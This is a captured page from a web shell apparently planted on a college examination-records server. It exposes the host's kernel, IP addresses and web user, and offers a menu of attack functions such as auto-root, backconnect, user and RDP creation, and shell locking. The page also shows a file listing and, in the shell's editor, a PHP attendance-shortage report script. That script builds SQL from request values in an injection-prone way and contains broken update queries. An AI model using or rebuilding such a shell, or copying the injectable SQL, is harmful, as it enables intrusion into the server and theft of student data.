Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 18.119.132.80
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
college /
Report_details /
[ HOME SHELL ]
Name
Size
Permission
Action
output
[ DIR ]
drwxr-xr-x
AttDateWiseReportexcel.php
4.33
KB
-rwxr-xr-x
Attdet.php
7.07
KB
-rwxr-xr-x
AttdetPdf.php
8.46
KB
-rwxr-xr-x
AttdetPdfUniclare.php
7.49
KB
-rwxr-xr-x
AttdetexcelUniclare.php
5.48
KB
-rwxr-xr-x
CIEAttendanceNotEligiblepdf.ph...
6.83
KB
-rwxr-xr-x
CIEpendingListpdf.php
9.05
KB
-rwxr-xr-x
DegreeWiseStudLstUSN.php
7.69
KB
-rwxr-xr-x
DownloadExamAppFormApplication...
11.64
KB
-rwxr-xr-x
DownloadRvRtAckApplications.ph...
4.6
KB
-rwxr-xr-x
Generatecollegeiamarkspendingr...
7.49
KB
-rwxr-xr-x
PrintChallanEntryDetails.php
8.27
KB
-rwxr-xr-x
RVApplicationsReport.php
8.9
KB
-rwxr-xr-x
RvPcListDetailedReport.php
12.51
KB
-rwxr-xr-x
RvRtApplicationReport.php
8.82
KB
-rwxr-xr-x
absentAndMalReportPdf.php
11.5
KB
-rwxr-xr-x
ack_exam_app_form_bulk.php
11.76
KB
-rwxr-xr-x
admReport.php
7.78
KB
-rwxr-xr-x
admReport_old.php
12.3
KB
-rwxr-xr-x
admlist.php
13.87
KB
-rwxr-xr-x
admregisterlist.php
7.15
KB
-rwxr-xr-x
affliation_detailed_report.php
12.56
KB
-rwxr-xr-x
appear_list_center_qp_wise.php
12.82
KB
-rwxr-xr-x
appear_list_qp_wise.php
6.32
KB
-rwxr-xr-x
appfeedetails.php
7.67
KB
-rwxr-xr-x
approval_report.php
19.63
KB
-rwxr-xr-x
attCisshortList.php
15.57
KB
-rwxr-xr-x
attCisshortList_sjbit.php
12.03
KB
-rwxr-xr-x
attendanceReportForm.php
5.69
KB
-rwxr-xr-x
attendanceform_pdf.php
11.9
KB
-rwxr-xr-x
attiacombined.php
9.52
KB
-rwxr-xr-x
attiacombinedReportnewexcel_sj...
12.94
KB
-rwxr-xr-x
attiacombinednew.php
12.31
KB
-rwxr-xr-x
attiacombinednew_sjbit.php
8.49
KB
-rwxr-xr-x
attshortlist.php
10.69
KB
-rwxr-xr-x
basic_data_coll.php
6.74
KB
-rwxr-xr-x
basic_data_sum.php
7.47
KB
-rwxr-xr-x
batch_wise_details.php
4.45
KB
-rwxr-xr-x
board.php
3.86
KB
-rwxr-xr-x
bundle_ack.php
12.96
KB
-rwxr-xr-x
candidatelist.php
9.9
KB
-rwxr-xr-x
categorywisereport.php
9.03
KB
-rwxr-xr-x
cntrtagcollstud.php
4.99
KB
-rwxr-xr-x
code39.php
6.38
KB
-rwxr-xr-x
college_pending_markslist.php
6.8
KB
-rwxr-xr-x
college_pending_markslist19032...
6.48
KB
-rwxr-xr-x
convoreport.php
5.56
KB
-rwxr-xr-x
copomarksexternalreportexcel.p...
7.02
KB
-rwxr-xr-x
daterange.php
6.27
KB
-rwxr-xr-x
degreewiseMarksEntryStats.php
8.44
KB
-rwxr-xr-x
empty_report_admission_det.php
8.91
KB
-rwxr-xr-x
exam_attendance_det.php
8.61
KB
-rwxr-xr-x
exam_attendance_summary.php
9.78
KB
-rwxr-xr-x
excelreport.php
27.36
KB
-rwxr-xr-x
generate.php
7.32
KB
-rwxr-xr-x
generateDaliyReportQpNitteExce...
16.13
KB
-rwxr-xr-x
generatePostAdmissionTicket.ph...
51.8
KB
-rwxr-xr-x
generatePostAdmissionTicket_25...
47.13
KB
-rwxr-xr-x
generatePostAdmissionTicket_ol...
37.45
KB
-rwxr-xr-x
generatePrintIaMarks.php
16.19
KB
-rwxr-xr-x
generatePrintIaMarksnew.php
16.28
KB
-rwxr-xr-x
generateQuestionWiseIAReportPD...
18.73
KB
-rwxr-xr-x
generateXlGraph.php
3.87
KB
-rwxr-xr-x
generateadmissionreg.php
11.79
KB
-rwxr-xr-x
generatecoporeport_xl.php
21.04
KB
-rwxr-xr-x
gerderwiseresultsheet.php
11.95
KB
-rwxr-xr-x
getDegree.php
2.27
KB
-rwxr-xr-x
getDegreeAndSem.php
4.32
KB
-rwxr-xr-x
getIaSubjWiseReport.php
0
B
-rwxr-xr-x
getNitteAdmXlreport.php
14.34
KB
-rwxr-xr-x
getReportClassStud.php
6.03
KB
-rwxr-xr-x
gradewisesubjectanalysisreport...
19.82
KB
-rwxr-xr-x
headerNfooter.php
5.56
KB
-rwxr-xr-x
headerNfooters.php
1.93
KB
-rw-rw-r--
iaMarksQnWiseReportExcel.php
25.41
KB
-rwxr-xr-x
iaMarksReportPDF.php
10.84
KB
-rwxr-xr-x
iaSubjectWiseReport.php
10.74
KB
-rwxr-xr-x
ia_room_allotment_datewise.php
9.08
KB
-rwxr-xr-x
iaemptyformat.php
9.63
KB
-rwxr-xr-x
invig_report.php
10.18
KB
-rwxr-xr-x
invig_report_summary.php
7.74
KB
-rwxr-xr-x
latEntryRprt.php
6.4
KB
-rwxr-xr-x
markListReportPdf.php
21.32
KB
-rwxr-xr-x
markListReportPdfnew.php
44.55
KB
-rwxr-xr-x
markListReportPdfnew_24112023....
42.93
KB
-rwxr-xr-x
marksentryquestionwise.php
23.83
KB
-rwxr-xr-x
mregistry.php
129.68
KB
-rwxr-xr-x
pdfacknowledgeAppNo.php
10.95
KB
-rwxr-xr-x
pendingcie.php
0
B
-rwxr-xr-x
photo_report.php
7.04
KB
-rwxr-xr-x
pi_test.php
3.45
KB
-rwxr-xr-x
picharttesting.php
19.9
KB
-rwxr-xr-x
principalFreeze_report.php
7.23
KB
-rwxr-xr-x
printIaMarks.php
12.74
KB
-rwxr-xr-x
printIaMarks_old.php
12.74
KB
-rwxr-xr-x
printMarkListDetailsWisenew.ph...
10.1
KB
-rwxr-xr-x
printMarkListDetailsWisenew_CI...
3.98
KB
-rwxr-xr-x
printMarkListDetailsWisenew_sj...
11.81
KB
-rwxr-xr-x
printMarkListSubWiseJssstu.php
28.29
KB
-rwxr-xr-x
print_applications_ru.php
26.59
KB
-rwxr-xr-x
qp_issue.php
8.46
KB
-rwxr-xr-x
qrcodeGeneratePostAdmissionTic...
55.13
KB
-rwxr-xr-x
qrcodeGeneratePostAdmissionTic...
33.16
KB
-rwxr-xr-x
qrhallticket.php
56.1
KB
-rwxr-xr-x
r
9.23
KB
-rwxr-xr-x
regNoAllot.php
25.14
KB
-rwxr-xr-x
reg_stud_list.php
8.34
KB
-rwxr-xr-x
reportAttClassCreate.php
5.14
KB
-rwxr-xr-x
reportAttCount.php
12.89
KB
-rwxr-xr-x
reportAttCount_old_08112022.ph...
11.11
KB
-rwxr-xr-x
report_adm_lat_studwise.php
10.13
KB
-rwxr-xr-x
report_admission_details.php
26.8
KB
-rwxr-xr-x
report_admission_list.php
49.63
KB
-rwxr-xr-x
report_admission_list_bf_gcg.p...
26.39
KB
-rwxr-xr-x
report_admission_list_kswu.php
15.12
KB
-rwxr-xr-x
report_admission_list_rur.php
28
KB
-rwxr-xr-x
report_admission_list_wop.php
10.31
KB
-rwxr-xr-x
report_admission_ticket.php
64.74
KB
-rwxr-xr-x
report_admission_ticket_bf_uuc...
37.63
KB
-rwxr-xr-x
report_attendance_sheet.php
18.31
KB
-rwxr-xr-x
report_attendance_shortage.php
9.23
KB
-rwxr-xr-x
report_attendance_summary.php
10.85
KB
-rwxr-xr-x
report_attendance_summary_old....
7.19
KB
-rwxr-xr-x
report_bacth_preparation_dairy...
7
KB
-rwxr-xr-x
report_batch_practical_dairy.p...
15.35
KB
-rwxr-xr-x
report_batch_wise_details.php
8.83
KB
-rwxr-xr-x
report_batch_worksheet_details...
14.68
KB
-rwxr-xr-x
report_bulk_applications.php
26.14
KB
-rwxr-xr-x
report_bulk_applications_nitte...
25.55
KB
-rwxr-xr-x
report_bundle_dispatch.php
13.73
KB
-rwxr-xr-x
report_candidate_list.php
31.49
KB
-rwxr-xr-x
report_candidate_list_old.php
29.91
KB
-rwxr-xr-x
report_daliy_report.php
10.47
KB
-rwxr-xr-x
report_daliy_report_qp.php
10.21
KB
-rwxr-xr-x
report_daliy_report_qp_nitte.p...
17.01
KB
-rwxr-xr-x
report_daliy_report_qp_sjbit.p...
17.25
KB
-rwxr-xr-x
report_data_sent.php
8.41
KB
-rwxr-xr-x
report_degree_list.php
5.3
KB
-rwxr-xr-x
report_deviation_report.php
7.67
KB
-rwxr-xr-x
report_evaluation_report.php
9.31
KB
-rwxr-xr-x
report_iamarks_pending.php
8.19
KB
-rwxr-xr-x
report_marks_deviation_report....
5.38
KB
-rwxr-xr-x
report_marks_elementwise.php
3.13
KB
-rwxr-xr-x
report_marks_entry_student_lis...
6.55
KB
-rwxr-xr-x
report_marks_entry_subwise_lis...
20.78
KB
-rwxr-xr-x
report_marks_entry_subwise_lis...
10.43
KB
-rwxr-xr-x
report_marks_pending.php
12.02
KB
-rwxr-xr-x
report_online_eam.php
11.59
KB
-rwxr-xr-x
report_practical_marks_details...
13.35
KB
-rwxr-xr-x
report_practical_marks_details...
18.15
KB
-rwxr-xr-x
report_practical_marks_details...
13.33
KB
-rwxr-xr-x
report_practical_marks_details...
13.32
KB
-rwxr-xr-x
report_practical_misc.php
8.24
KB
-rwxr-xr-x
report_qpcount_univ.php
5.17
KB
-rwxr-xr-x
report_ra_exl_report.php
6.78
KB
-rwxr-xr-x
report_ra_invigilator_dairy.ph...
43.87
KB
-rwxr-xr-x
report_ra_invigilator_dairy_bf...
22.69
KB
-rwxr-xr-x
report_ra_invigilator_dairy_gu...
19.86
KB
-rwxr-xr-x
report_ra_invigilator_dairy_st...
19.82
KB
-rwxr-xr-x
report_ra_invigilators_dairy.p...
9.26
KB
-rwxr-xr-x
report_ra_qp_wise_student_coun...
10.63
KB
-rwxr-xr-x
report_ra_qp_wise_student_coun...
8.74
KB
-rwxr-xr-x
report_ra_roomwise_register_no...
10.67
KB
-rwxr-xr-x
report_ra_roomwise_register_no...
26.62
KB
-rwxr-xr-x
report_ra_roomwise_register_no...
17.6
KB
-rwxr-xr-x
report_reg_list.php
33.33
KB
-rwxr-xr-x
report_reg_list_gcg.php
33.55
KB
-rwxr-xr-x
report_reg_list_gcg_new_040120...
33.12
KB
-rwxr-xr-x
report_revaluation.php
6.42
KB
-rwxr-xr-x
report_subject_admcl_list.php
3.68
KB
-rwxr-xr-x
report_subject_general_list.ph...
4.87
KB
-rwxr-xr-x
resultsheet.php
12.7
KB
-rwxr-xr-x
resultsheet_x.php
9.15
KB
-rwxr-xr-x
resultsheetsubwise.php
11.24
KB
-rwxr-xr-x
revaluation.php
15.65
KB
-rwxr-xr-x
roomallotmantsummary.php
6.57
KB
-rwxr-xr-x
roomallotmantsummarysubjwise.p...
9.31
KB
-rwxr-xr-x
roomwise_register_nos_list.php
26.84
KB
-rwxr-xr-x
rotation.php
596
B
-rwxr-xr-x
semesterWiseResultReportpdf.ph...
9.9
KB
-rwxr-xr-x
shortageReport.php
11.87
KB
-rwxr-xr-x
std_regstr_det_reprt_xl.php
7.6
KB
-rwxr-xr-x
stringspliter.php
718
B
-rwxr-xr-x
stud_wise_report.php
8.97
KB
-rwxr-xr-x
studentHisResult.php
7.92
KB
-rwxr-xr-x
student_count.php
4.16
KB
-rwxr-xr-x
studentwiseresult.php
16.77
KB
-rwxr-xr-x
subjRegReport.php
7.54
KB
-rwxr-xr-x
subject_wise_student_list.php
6.2
KB
-rwxr-xr-x
subjwisepasspercentage.php
10.45
KB
-rwxr-xr-x
subjwisepasspercentagePie.php
10.92
KB
-rwxr-xr-x
subjwiseressheet.php
12.79
KB
-rwxr-xr-x
subwiseGrafAnalysis.php
20.04
KB
-rwxr-xr-x
subwiseGrafAnalysis1.php
22.44
KB
-rwxr-xr-x
subwiseResultReport.php
12.75
KB
-rwxr-xr-x
tatkal.php
4.84
KB
-rwxr-xr-x
teachFreeze_report.php
8.96
KB
-rwxr-xr-x
teacher_report.php
11.26
KB
-rwxr-xr-x
teacher_val_report.php
10.59
KB
-rwxr-xr-x
timetabledegreewiserpt.php
6.73
KB
-rwxr-xr-x
topsheet.php
8.58
KB
-rwxr-xr-x
verifystud.php
8.38
KB
-rwxr-xr-x
xl_AckAppReport.php
10.02
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : attCisshortList.php
<?php $main_src=substr($_SERVER['SCRIPT_FILENAME'],0,strlen($_SERVER['SCRIPT_FILENAME'])-7); $pdf_writer_class =$main_src."/tcpdf/tcpdf.php"; require_once($pdf_writer_class); include_once("stringspliter.php"); require_once("/var/www/html/aws/aws-autoloader.php"); use Aws\S3\S3Client; use Aws\S3\Exception\S3Exception; ini_set('max_execution_time', 300); ini_set("memory_limit","500M"); // $pdf_writer_class =$main_src."/maya-pdf/fpdf.php"; // require_once($pdf_writer_class); class ra_invigilators_dairy extends TCPDF { function DefaultConstructor($aobj_context) { session_start(); $this->aobj_context=$aobj_context; $this->pdf= new TCPDF(); $this->pdf=$this; $this->fromdate=trim($this->aobj_context->mobj_data["fromdate"]); // var_dump($this->dateto);die(); $this->fromqpcode=trim($this->aobj_context->mobj_data["fqpcode"]); $this->toqpcode=trim($this->aobj_context->mobj_data["tqpcode"]); $this->session=trim($this->aobj_context->mobj_data["session"]); $this->room_range_from=trim($this->aobj_context->mobj_data["room_range_from"]); $this->room_range_to=trim($this->aobj_context->mobj_data["room_range_to"]); $this->rtype=trim($this->aobj_context->mobj_data["rtype"]); $this->room_range_from=str_pad($this->room_range_from, 3, "0", STR_PAD_LEFT); $this->room_range_to=str_pad($this->room_range_to, 3, "0", STR_PAD_LEFT); $this->ip=$_SERVER["REMOTE_ADDR"]; $get_date="select now() as now_date"; $obj=$this->aobj_context->mobj_db->GetRow($get_date); $this->current_date=$obj['now_date']; $this->collcode=$_SESSION['collcode']; $this->funivcode=$_SESSION['FUNIVCODE']; //$this->headeractive = true; $this->startPageGroup(); } function Header($resdeg,$section,$sem) { // var_dump($this->funivcode);die(); if($this->funivcode == '031') { if(!empty($this->pdf_logo_path)) { $img_logo_path=$this->aobj_context->main_src. '/'.$this->aobj_context->mobj_data["db"]."/img/report_uni_logo.jpg"; $this->pdf->Image($img_logo_path,60,4,80); $this->pdf->Ln(10); } }else if ($this->funivcode == '055'){ if(!empty($this->pdf_logo_path)) { $img_logo_path=$this->aobj_context->main_src. '/'.$this->aobj_context->mobj_data["db"]."/img/report_uni_logo.jpg"; $this->pdf->Image($img_logo_path,6,2,20); $this->pdf->Ln(6); } } else { if(!empty($this->pdf_logo_path)) { $img_logo_path=$this->aobj_context->main_src.'/'.$this->aobj_context->mobj_data["db"].'/'.$this->pdf_logo_path; // var_dump($img_logo_path); // die(); $this->pdf->Image($img_logo_path,80,2,50); $this->pdf->ln(15); } $this->pdf->SetFont('Times','B',15); $this->pdf->ln(3); } $this->pdf->ln(3); $this->pdf->SetFont('Times','B',12); if ($this->funivcode == '055'){ $this->pdf->cell(0,6, "$this->college_details","0",1,"C"); }else{ $this->pdf->cell(0,6, "College : $this->college_details","0",1,"C"); } $this->pdf->SetFont('Times','B',10); $this->pdf->Cell(0,7,"Shortage of Attendance Below 75% and CIE less than 20 ".$this->res['FEXAMDATE'],"0",1,"C"); } function Footer() { $this->SetY(-15); $this->pdf->SetFont('Times','B',8); $this->Cell(140,6,'Printed : IP Address : '.$this->ip." Date ".$this->current_date,'0',0,'L'); $this->Cell(50, 6,'Page ' .$this->PageNo().'', 0, 1, 'R'); } function formcolldata() { $get_coll_name="select FUNIVNAME as 'FUNIVNAME',FUNIVCODE, FUNIVADD1 as 'state', pdf_logo_path From control"; $lobj_get_coll_name=$this->aobj_context->mobj_db->GetRow($get_coll_name); $this->FUNIVNAME=$lobj_get_coll_name['FUNIVNAME']; $this->s_state=$lobj_get_coll_name['state']; $this->f_year=$lobj_get_coll_name['f_year']; $this->pdf_logo_path=$lobj_get_coll_name['pdf_logo_path']; $this->funivcode=$lobj_get_coll_name['FUNIVCODE']; $get_data="SELECT c.FCOLLCODE, CONCAT(c.FCOLLCODE, ' - ', c.FCOLLNAME,', ',c.FTOWN) AS FCOLLNAME FROM college c where c.FCOLLCODE='{$this->collcode}'"; $obj_student=$this->aobj_context->mobj_db->GetRow($get_data); $this->college_details = $obj_student['FCOLLNAME']; } function writepdf($data){ $pdf=$this->pdf; if($this->funivcode == '055'){ $pdf->SetMargins(5,30,25,10); }else{ $pdf->SetMargins(5,40,25,10); } $pdf->startPageGroup(); $pdf->AddPage("P"); $this->pdf->SetFont('Times','B',10); $empty_cell_width=12; $pdf->SetFont('Times','B',9); $newusn = ""; $oldusn = ""; // var_dump($data,'fdgdg'); $this->pdf->cell(10,7, "Sl. No.","1",0,"C"); $this->pdf->cell(20,7, "Program","1",0,"C"); $this->pdf->cell(25,7, "USN","1",0,"C"); $this->pdf->cell(68,7, "Name","1",0,"C"); $this->pdf->cell(12,7, "Section","1",0,"C"); $this->pdf->cell(23,7, "Course Code","1",0,"C"); $this->pdf->cell(22,7, "Attendace(%)","1",0,"L"); $this->pdf->cell(22,7, "CIE Marks","1",1,"C"); $c = 1; $i = 0; foreach($data as $key=>$value) { $y = $this->pdf->getY(); if($y>270) { $oldusn = $newusn; $this->pdf->cell(202,1, "","T",1,"C"); $pdf->SetMargins(5,40,25,10); $pdf->startPageGroup(); $pdf->AddPage("P"); $pdf->SetFont('Times','B',9); $this->pdf->cell(10,7, "Sl. No.","1",0,"C"); $this->pdf->cell(20,7, "Program","1",0,"C"); $this->pdf->cell(25,7, "USN","1",0,"C"); $this->pdf->cell(68,7, "Name","1",0,"C"); $this->pdf->cell(12,7, "Section","1",0,"C"); $this->pdf->cell(23,7, "Course Code","1",0,"C"); $this->pdf->cell(22,7, "Attendace(%)","1",0,"C"); $this->pdf->cell(22,7, "CIE Marks","1",1,"C"); } $pdf->SetFont('Times','',9); $newusn = $value['fregno']; if($newusn != $oldusn) { $this->pdf->cell(10,7, $c,"LRT",0,"C"); $this->pdf->cell(20,7, $value['fdegree'],"LRT",0,"C"); $this->pdf->cell(25,7, $value['fregno'],"LRT",0,"C"); $this->pdf->cell(68,7, $value['fname'],"LRT",0,"L"); $this->pdf->cell(12,7, $value['fsection'],"LRT",0,"C"); $c++; }else { $this->pdf->cell(10,7, "","LR",0,"C"); $this->pdf->cell(20,7, "","LR",0,"C"); $this->pdf->cell(25,7, "","LR",0,"C"); $this->pdf->cell(68,7, "","LR",0,"L"); $this->pdf->cell(12,7, "","LR",0,"C"); } $oldusn = $newusn; $this->pdf->cell(23,7, $value['fsubshort'],"1",0,"C"); $this->pdf->cell(22,7, $value['fattshort'],"1",0,"C"); $this->pdf->cell(22,7, $value['fcisshort'],"1",1,"C"); } $this->pdf->cell(202,1, "","T",1,"C"); } function SendOutput() { $this->pdf->Output("shortage_of_attendance.pdf","I"); } } function printAttCISShotageList($aobj_context) { $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); $degree = trim($aobj_context->mobj_data["degree"]); $degarry = explode('- ',$degree); $degcode = trim($degarry[0]); $cnd = "and m.fdegree = '{$degcode}'"; if(strtoupper($degcode) == 'ALL') $cnd = ''; $sem = trim($aobj_context->mobj_data["sem"]); $semarry = explode('- ',$sem); $exam = trim($semarry[0]); $cnd1 = "and m.fexamno = '{$exam}'"; if(strtoupper($exam) == 'ALL') $cnd1 = ""; $regfrom = trim($aobj_context->mobj_data["regfrom"]); $regto = trim($aobj_context->mobj_data["regto"]); $perfrom = trim($aobj_context->mobj_data["perfrom"]); $collcode = $_SESSION['collcode']; $query = "delete from attcisshort where fcollcode = '{$collcode}'"; $result = $aobj_context->mobj_db->Execute($query); $query = "delete from attcisshort1 where fcollcode = '{$collcode}'"; $result = $aobj_context->mobj_db->Execute($query); $query = "delete from attcisshort2 where fcollcode = '{$collcode}'"; $result = $aobj_context->mobj_db->Execute($query); $query = "INSERT ignore into attcisshort1(fdegree,fcollcode,fexamno,fsubcode,fsubshort,fregno,fname,fsection,fattshort,fdate) select st.fdegree, a.fcollcode,a.fexamno,s.fsubcode,s.fsubshort,st.fregno,st.fname,st.fsection, ROUND(sum(if(a.fpresent = 'A','0',a.fnoclass))/sum(a.fnoclass)*100) as attper,now() from attend_det a inner join subject s on a.fexamno = s.fexamno and a.fdegree = s.fdegree and a.fsubcode = s.fcsubcode inner join student st on a.fregno = st.fregno and a.fdegree = st.fdegree and a.fcollcode = st.fcollcode inner join degree d on st.fdegree = d.fdegree and d.fexamno = 'A' where ifnull(st.fdeleted,'') <> 'T' and st.fcollcode = '{$collcode}' and a.fdegree like 'BT%' group by a.fregno,a.fsubcode having sum(if(a.fpresent = 'A','0',a.fnoclass)) / sum(a.fnoclass) * 100 between '0' and '74' order by st.fdegree,a.fregno,a.fsubcode,st.fsection"; //var_dump($query); $res1 = $aobj_context->mobj_db->GetAll($query); // $query = "INSERT ignore INTO `attcisshort2` (`fdegree`, `fcollcode`, `fexamno`, `fsubcode`, `fsubshort`, `fregno`, `fname`, `fsection`, `fth`, `fpr`, `fthmarks`, `fprmarks`,`fcisshort`, `fdate`) // select m.fdegree,m.fcollcode,m.fexamno,s1.fsubcode,s1.fsubshort,m.fregno,st.fname, // st.fsection, // (sum(if(s.ftheory = 'T',if(fmarks = '-1',0,if(fmarks = '-2',0,fmarks)),0))) as th, // (sum(if(s.ftheory = 'F',if(fmarks = '-1',0,if(fmarks = '-2',0,fmarks)),0))) as pr, // CEILING((sum(if(s.ftheory = 'T',if(fmarks = '-1',0,if(fmarks = '-2',0,fmarks)),0))*.6)) as thmarks, // CEILING((sum(if(s.ftheory = 'F',if(fmarks = '-1',0,if(fmarks = '-2',0,fmarks)),0))*.4)) as prmarks, // if((sum(if(s.ftheory = 'F',if(fmarks = '-1',0,if(fmarks = '-2',0,fmarks)),0))*.4) >0 // and (sum(if(s.ftheory = 'T',if(fmarks = '-1',0,if(fmarks = '-2',0,fmarks)),0))*.6) >0,((sum(if(s.ftheory = 'T',if(fmarks = '-1',0,if(fmarks = '-2',0,fmarks)),0))*.6)+(sum(if(s.ftheory = 'F',if(fmarks = '-1',0,if(fmarks = '-2',0,fmarks)),0))*.4)),sum(if(fmarks = '-1',0,if(fmarks = '-2',0,fmarks)))) as totmarks, // now() // from marksint m inner join subdet s on concat(s.fcsubcode,s.fsubcode) = m.fsubcode // and m.fdegree = s.fdegree and m.fexamno = s.fexamno // inner join subject s1 on s.fdegree = s1.fdegree and s.fexamno = s1.fexamno // and s1.fcsubcode = s.fcsubcode // inner join ( select at.fdegree,at.fcollcode,at.fregno,at.fsubcode, at.fexamno,sum(fnoclass) as conducted, sum(if(fpresent = 'P',fnoclass,0)) as attend From attendsum at left join attend_det a on a.fexamno = at.fexamno and a.fdegree = at.fdegree and a.fsubcode = at.fsubcode // and a.fregno = at.fregno and a.fcollcode = at.fcollcode // and a.fclassid = at.fclassid // where at.fcollcode = '{$collcode}' // group by at.fregno,at.fsubcode) a1 on a1.fdegree = m.fdegree // and a1.fexamno = m.fexamno and a1.fregno = m.fregno // and left(a1.fsubcode,4) = left(m.fsubcode,4) // inner join student st on st.fdegree = m.fdegree and // st.fcollcode = m.fcollcode and m.fregno = st.fregno // and m.fexamno = st.fexamno // where ifnull(st.fdeleted,'') <> 'T' // and m.fexamno in('A','C') // and a1.fcollcode = '{$collcode}' // group by m.fregno,left(a1.fsubcode,4),s1.fsubcode // having if(prmarks >0 and thmarks >0,(((prmarks/20)*100) < '50' or ((thmarks/30)*100) < '50'),((CEILING(totmarks)/50)*100) < '50') // order by left(m.fsubcode,4)"; $query = "INSERT ignore INTO `attcisshort2` (`fdegree`, `fcollcode`, `fexamno`, `fsubcode`, `fsubshort`, `fregno`, `fname`, `fsection`, `fth`, `fpr`, `fthmarks`, `fprmarks`,`fcisshort`, `fdate`) select m.fdegree,m.fcollcode,m.fexamno,s1.fsubcode,s1.fsubshort,m.fregno,st.fname, st.fsection, (sum(if(s.ftheory = 'T',if(fmarks = '-1',0,if(fmarks = '-2',0,fmarks)),0))) as th, (sum(if(s.ftheory = 'F',if(fmarks = '-1',0,if(fmarks = '-2',0,fmarks)),0))) as pr, (sum(if(s.ftheory = 'T',if(fmarks = '-1',0,if(fmarks = '-2',0,fmarks)),0))*.6) as thmarks, if(ifnull(s.fthonly,'A') ='T', (sum(if(s.ftheory = 'F',if(fmarks = '-1',0,if(fmarks = '-2',0,fmarks)),0))),(sum(if(s.ftheory = 'F',if(fmarks = '-1',0,if(fmarks = '-2',0,fmarks)),0))*.4)) as prmarks, if((sum(if(s.ftheory = 'F',if(fmarks = '-1',0,if(fmarks = '-2',0,fmarks)),0))*.4) >0 and (sum(if(s.ftheory = 'T',if(fmarks = '-1',0,if(fmarks = '-2',0,fmarks)),0))*.6) >0, ((sum(if(s.ftheory = 'T',if(fmarks = '-1',0,if(fmarks = '-2',0,fmarks)),0))*.6) + if(ifnull(s.fthonly,'A') ='T' ,sum(if(s.ftheory = 'F',if(fmarks = '-1',0,if(fmarks = '-2',0,fmarks)),0)),(sum(if(s.ftheory = 'F',if(fmarks = '-1',0,if(fmarks = '-2',0,fmarks)),0))*.4))), sum(if(fmarks = '-1',0,if(fmarks = '-2',0,fmarks)))) as totmarks , now() from marksint m inner join subdet s on concat(s.fcsubcode,s.fsubcode) = m.fsubcode and m.fdegree = s.fdegree and m.fexamno = s.fexamno inner join subject s1 on s.fdegree = s1.fdegree and s.fexamno = s1.fexamno and s1.fcsubcode = s.fcsubcode inner join student st on st.fdegree = m.fdegree and st.fcollcode = m.fcollcode and m.fregno = st.fregno where m.fregno between '0' and 'z' $cnd $cnd1 and ifnull(st.fdeleted,'') <> 'T' and m.fcollcode = '{$collcode}' group by m.fregno,s1.fcsubcode having if(CEIL(ifnull(prmarks, '0')) >0 and thmarks >0,(((CEIL(ifnull(prmarks, '0'))/20)*100) < '40' or ((CEIL(ifnull(thmarks, '0'))/30)*100) < '40'),((CEIL(ifnull(totmarks, '0'))/50)*100) < '40') order by left(m.fsubcode,4)"; // var_dump($query); // die(); $res1 = $aobj_context->mobj_db->GetAll($query); $query = "INSERT ignore into attcisshort(fdegree,fcollcode,fexamno,fsubcode,fsubshort,fregno,fname,fsection,fattshort,fdate) select fdegree,fcollcode,fexamno,fsubcode,fsubshort,fregno,fname,fsection,fattshort,fdate from attcisshort1 where fcollcode = '{$collcode}'"; $res1 = $aobj_context->mobj_db->GetAll($query); $query = "INSERT ignore into attcisshort(fdegree,fcollcode,fexamno,fsubcode,fsubshort,fregno,fname,fsection,fcisshort,fdate) select fdegree,fcollcode,fexamno,fsubcode,fsubshort,fregno,fname,fsection,fcisshort,fdate from attcisshort2 where fcollcode = '{$collcode}'"; $res1 = $aobj_context->mobj_db->GetAll($query); $query = "update attcisshort a1, attcisshort1 a2 set a1.fattshort = a2.fattshort where a.fregno = a2.fregno and a.fdegree = a2.fdegree and a.fcollcode = a2.fcollcode and a.fsubcode = a2.fsubcode and a.fsubshort = a2.fsubshort where a1.fcollcode = '{$collcode}'"; $resdeg = $aobj_context->mobj_db->Execute($qry); $query = "update attcisshort a1, attcisshort2 a2 set a1.fcisshort = a2.fcisshort where a.fregno = a2.fregno and a.fdegree = a2.fdegree and a.fcollcode = a2.fcollcode and a.fsubcode = a2.fsubcode and a.fsubshort = a2.fsubshort where a1.fcollcode = '{$collcode}'"; $resdeg = $aobj_context->mobj_db->Execute($qry); $qry = "select fdegree, fcollcode, fexamno, fsubcode, fsubshort, fregno, fname, fsection, round(fattshort) as fattshort, round(fcisshort) as fcisshort, fdate from attcisshort m where fcollcode = '{$collcode}' {$cnd} {$cnd1} order by fdegree,fregno,fsubcode,fsection"; $res1 = $aobj_context->mobj_db->GetAll($qry); $qry = "select fdegree,fdescpn,FEXAMDATE from degree limit 1"; $resdeg = $aobj_context->mobj_db->GetRow($qry); $class_obj=new ra_invigilators_dairy(); $class_obj->DefaultConstructor($aobj_context); $class_obj->formcolldata(); $class_obj->res = $resdeg; $class_obj->writepdf($res1); $class_obj->SendOutput(); } ?>
Close